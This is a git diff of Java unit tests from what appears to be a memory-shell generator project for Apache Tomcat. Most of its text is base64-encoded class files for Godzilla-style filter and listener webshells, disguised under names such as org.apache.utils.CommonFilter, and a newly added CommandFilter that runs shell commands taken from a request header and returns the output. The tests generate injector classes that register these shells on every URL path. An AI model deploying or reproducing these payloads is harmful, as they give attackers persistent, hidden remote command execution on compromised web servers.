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"); String shellClassName = "org.apache.utils.CommonFilter"; String injectClassName = this.getClass().getName() + "1"; - byte[] bytes = injectorGenerator.generate(TomcatFilterInjector.class, injectClassName, shellClassName, shellBytes, "/*"); + byte[] bytes = InjectorGenerator.generate(TomcatFilterInjector.class, injectClassName, shellClassName, shellBytes, "/*"); Object obj = ClassUtils.newInstance(bytes); assertEquals(injectClassName, obj.getClass().getName()); assertEquals(shellClassName, ClassUtils.invokeMethod(obj, "getClassName", null, null).toString()); @@ -39,7 +37,7 @@ class TomcatFilterInjectorTest { byte[] shellBytes = Base64.decodeBase64("yv66vgAAADQBMgoARQCbCgBFAJwKAEUAnQgAngoAnwCgBwChCQAaAKIKAD4AowoABgCkCgCfAKUKAJ8ApgcApwcAqAcAqQkAGgCqCwANAKsJABoArAoAPgCtCwANAK4JABoArwsADQCwCgAaALEKABoAsggAswsAtAC1BwC2CgA9ALcKACQAuAoAGgCcCgAaALkLALQAuggAuwsADQC6BwC8CgAiAJsHAL0KACQAvgcAvwcAwAcAwQoAKADCCgA9AMMLAA4AxAkAGgDFCgA+AMYKAMcAyAoAPQDJCgAiAMoKABoAywoAPgDMCwDNAM4IAM8KACQA0AgA0QcA0goAJADTBwDUCgDVANYIANcHAFoHANgHANkIANoIANsIANwIAN0IAN4IAN8HAOAHAOEBAANrZXkBABJMamF2YS9sYW5nL1N0cmluZzsBAARwYXNzAQADbWQ1AQAKaGVhZGVyTmFtZQEAC2hlYWRlclZhbHVlAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAERMY29tL3JlYWphc29uL2phdmF3ZWIvbWVtc2VsbC90b21jYXQvZ29kemlsbGEvR29kemlsbGFKYWthcnRhRmlsdGVyOwEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQABegEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABUQEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAmNiAQACW0IBAAlTaWduYXR1cmUBABgoW0IpTGphdmEvbGFuZy9DbGFzczwqPjsBAAF4AQAHKFtCWilbQgEAAWMBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAR2YXI0AQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQABcwEAAW0BAAFaAQANU3RhY2tNYXBUYWJsZQcAtgcA4gcApwEACGRvRmlsdGVyAQBhKExqYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGpha2FydGEvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEAAWYBABJMamF2YS9sYW5nL09iamVjdDsBAAFlAQAoTGphdmEvbGFuZy9SZWZsZWN0aXZlT3BlcmF0aW9uRXhjZXB0aW9uOwEABmFyck91dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAdzZXNzaW9uAQAiTGpha2FydGEvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEABGRhdGEBAA5zZXJ2bGV0UmVxdWVzdAEAIExqYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAhTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAFY2hhaW4BAB1MamFrYXJ0YS9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAB3JlcXVlc3QBAClMamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAqTGpha2FydGEvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7BwDjBwDkBwDlBwCoBwCpBwDmBwC8BwDnBwDYAQAKRXhjZXB0aW9ucwcA6AcA6QEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdlbmNvZGVyAQAGYmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAR2YXI2AQACYnMBAAV2YWx1ZQEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBABRMamF2YS9sYW5nL0NsYXNzPCo+OwcA2QEADGJhc2U2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQAKU291cmNlRmlsZQEAGkdvZHppbGxhSmFrYXJ0YUZpbHRlci5qYXZhDABNAE4MAE0AVAwA6gDrAQADQUVTBwDiDADsAO0BAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDABHAEgMAO4A7wwATQDwDADxAPIMAPMA9AEAE2phdmEvbGFuZy9FeGNlcHRpb24BACdqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAChqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDABLAEgMAPUA9gwATABIDAD3APgMAPkA+gwASQBIDAD7APYMAJYAlwwAXQBeAQAHcGF5bG9hZAcA5gwA/AD9AQBCY29tL3JlYWphc29uL2phdmF3ZWIvbWVtc2VsbC90b21jYXQvZ29kemlsbGEvR29kemlsbGFKYWthcnRhRmlsdGVyDAD+AP8MAQABAQwAVwBYDAECAQMBAApwYXJhbWV0ZXJzAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0BAA9qYXZhL2xhbmcvQ2xhc3MMAQQBBQEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwATQEGDAEHAQgMAQkBCgwASgBIDAELAQwHAQ0MAQ4BDwwBEAERDAESAO8MAIsAjAwBCwETBwDlDABqARQBABBqYXZhLnV0aWwuQmFzZTY0DAEVARYBAApnZXRFbmNvZGVyAQASW0xqYXZhL2xhbmcvQ2xhc3M7DAEXARgBABNbTGphdmEvbGFuZy9PYmplY3Q7BwEZDAEaARsBAA5lbmNvZGVUb1N0cmluZwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQAWc3VuLm1pc2MuQkFTRTY0RW5jb2RlcgEABmVuY29kZQEACmdldERlY29kZXIBAAZkZWNvZGUBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyAQAMZGVjb2RlQnVmZmVyAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAWamFrYXJ0YS9zZXJ2bGV0L0ZpbHRlcgEAE2phdmF4L2NyeXB0by9DaXBoZXIBAB5qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB9qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAbamFrYXJ0YS9zZXJ2bGV0L0ZpbHRlckNoYWluAQAgamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb24BACZqYXZhL2xhbmcvUmVmbGVjdGl2ZU9wZXJhdGlvbkV4Y2VwdGlvbgEAIGpha2FydGEvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQAJZ2V0SGVhZGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEACmdldFNlc3Npb24BACQoKUxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAxnZXRQYXJhbWV0ZXIBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADHNldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9CeXRlQXJyYXkBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAEQoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamFrYXJ0YS9zZXJ2bGV0L1NlcnZs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"); String shellClassName = "org.apache.utils.CommonJakartaFilter"; String injectClassName = this.getClass().getName() + "2"; - byte[] bytes = injectorGenerator.generate(TomcatFilterInjector.class, injectClassName, shellClassName, shellBytes, "/*"); + byte[] bytes = InjectorGenerator.generate(TomcatFilterInjector.class, injectClassName, shellClassName, shellBytes, "/*"); Object obj = ClassUtils.newInstance(bytes); assertEquals(injectClassName, obj.getClass().getName()); assertEquals(shellClassName, ClassUtils.invokeMethod(obj, "getClassName", null, null).toString()); @@ -48,4 +46,14 @@ class TomcatFilterInjectorTest { ClassUtils.invokeMethod(obj, "getBase64String", null, null).toString()); System.out.println(Base64.encodeBase64String(bytes)); } + + @Test + @SneakyThrows + void generateCommandFilter() { + byte[] shellBytes = Base64.decodeBase64("yv66vgAAADQAfgoADwBKBwBLBwBMCQAOAE0LAAIATgoATwBQCgBPAFEKAFIAUwsAAwBUCgBVAFYKAFcAWAsAWQBaBwBbBwBcBwBdBwBeAQAKaGVhZGVyTmFtZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA7TGNvbS9yZWFqYXNvbi9qYXZhd2ViL21lbXNlbGwvdG9tY2F0L2NvbW1hbmQvQ29tbWFuZEZpbHRlcjsBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEADGZpbHRlckNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsBAApFeGNlcHRpb25zBwBfAQAIZG9GaWx0ZXIBAFsoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlO0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOylWAQAEZXhlYwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAtpbnB1dFN0cmVhbQEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADG91dHB1dFN0cmVhbQEAI0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW07AQADYnVmAQACW0IBAAZsZW5ndGgBAAFJAQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB3JlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAVjaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEADnNlcnZsZXRSZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFwHAGAHAGEHAGIHAEsHAEwHAGMHAGQHAGUHAGYHACkHAFsHAGcBAAdkZXN0cm95AQAKU291cmNlRmlsZQEAEkNvbW1hbmRGaWx0ZXIuamF2YQwAEwAUAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDAARABIMAGgAaQcAagwAawBsDAAiAG0HAGQMAG4AbwwAcABxBwBlDAByAHMHAGYMAHQAdQcAYgwAIAB2AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9yZWFqYXNvbi9qYXZhd2ViL21lbXNlbGwvdG9tY2F0L2NvbW1hbmQvQ29tbWFuZEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAHmphdmF4L3NlcnZsZXQvU2VydmxldEV4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAGWphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW4BABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAhamF2YXgvc2VydmxldC9TZXJ2bGV0T3V0cHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEACWdldEhlYWRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAD2dldE91dHB1dFN0cmVhbQEAJSgpTGphdmF4L3NlcnZsZXQvU2VydmxldE91dHB1dFN0cmVhbTsBAARyZWFkAQAFKFtCKUkBAAV3cml0ZQEAByhbQklJKVYBAEAoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOylWAQAZb3JnL2NvbW1hbmQvQ29tbWFuZEZpbHRlcgcAdwgAOAkAeABNAQAbTG9yZy9jb21tYW5kL0NvbW1hbmRGaWx0ZXI7AQALJGphY29jb0RhdGEBAAJbWgAhAHgADwABABAAAgABABEAEgAAEIoAfAB9AAAABAABABMAFAABABUAAAAXAAIAAQAAAAsqtwABKhJ5tQB6sQAAAAAAAQAaABsAAgAVAAAANQAAAAIAAAABsQAAAAIAFgAAAAYAAQAAABMAFwAAABYAAgAAAAEAGAB7AAAAAAABABwAHQABAB4AAAAEAAEAHwABACAAIQACABUAAAGwAAQADAAAAHcrwAA+OgQswAA/OgUZBCq0AHq5AAUCADoGGQbGAEK4AAYZBrYABzoHGQe2AAg6CBkFuQAJAQA6CREgALwIOgoZCBkKtgAKWTYLAp8AEBkJGQoDFQu2AAun/+inAA0tGQQZBbkADAMApwAPOgctGQQZBbkADAMAsQABABkAZwBqAEUAAwA5AAAATQAG/wA/AAsHAHgHADsHADwHAFkHAD4HAD8HAEAHAFIHAFUHAFcHAEQAAP8AGgAHBwB4BwA7BwA8BwBZBwA+BwA/BwBAAAACCUIHAEULABYAAABCABAAAAAXAAYAGAAMABkAGQAbAB4AHAAoAB0ALwAeADgAHwA/ACEATQAiAFoAJABdACUAZwApAGoAJwBsACgAdgAqABcAAACEAA0AKAAyACIAIwAHAC8AKwAkACUACAA4ACIAJgAnAAkAPwAbACgAKQAKAEkAEQAqACsACwBsAAoALAAtAAcAAAB3ABgAewAAAAAAdwAuAC8AAQAAAHcAMAAxAAIAAAB3ADIAMwADAAYAcQA0ADUABAAMAGsANgA3AAUAGQBeADgAEgAGAB4AAAAGAAIARgAfAAEARwAUAAEAFQAAACsAAAABAAAAAbEAAAACABYAAAAGAAEAAAAvABcAAAAMAAEAAAABABgAewAAAAEASAAAAAIASQ=="); + String shellClassname = "org.command.CommandFilter"; + String injectClassName = this.getClass().getName() + "3"; + byte[] bytes = InjectorGenerator.generate(TomcatFilterInjector.class, injectClassName, shellClassname, shellBytes, "/*"); + System.out.println(Base64.encodeBase64String(bytes)); + } } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjectorTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjectorTest.java index f9549c85..490ed2a3 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjectorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjectorTest.java @@ -15,15 +15,13 @@ import static org.junit.jupiter.api.Assertions.assertEquals; */ class TomcatListenerInjectorTest { - InjectorGenerator injectorGenerator = new InjectorGenerator(); - @Test @SneakyThrows void generate() { byte[] shellBytes = Base64.decodeBase64("yv66vgAAADQBSAoATAClCgBMAKYKAAQApwcAqAoAEwCpBwCqCgATAKsKAAYArAoArQCuCgCtAK8IALAKABMAsQgAsgcAswoAEwC0BwC1CgC2ALcIALgHALkHAHcHALoHALsIALwKABMAvQgAvggAvwgAwAgAwQgAwgoATADDCADECgDFAMYHAMcJADUAyAoAFQDJCgAhAMoKAMUAywoAxQDMCgDNAM4HAM8JADUA0AsAKADRCQA1ANIKABUA0woANQDUCwAoANUJADUA1gsAKADXCgA1ANgKADUA2QgA2gsA2wDcBwDdCgATAN4KADUApgoANQDfCwDbAOAIAOELACgA4AcA4goAPAClCgAEAOMLAEsA5AkANQDlCgAVAOYKAOcA6AoABADpCgA8AOoKADUA6woAFQDsCwBLAO0IAJoKADUA7ggAlQcA7wcA8AcA8QEAA21kNQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANrZXkBAApoZWFkZXJOYW1lAQALaGVhZGVyVmFsdWUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAP0xjb20vcmVhamFzb24vamF2YXdlYi9tZW1zZWxsL3RvbWNhdC9nb2R6aWxsYS9Hb2R6aWxsYUxpc3RlbmVyOwEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQABegEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQANZ2V0RmllbGRWYWx1ZQEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFu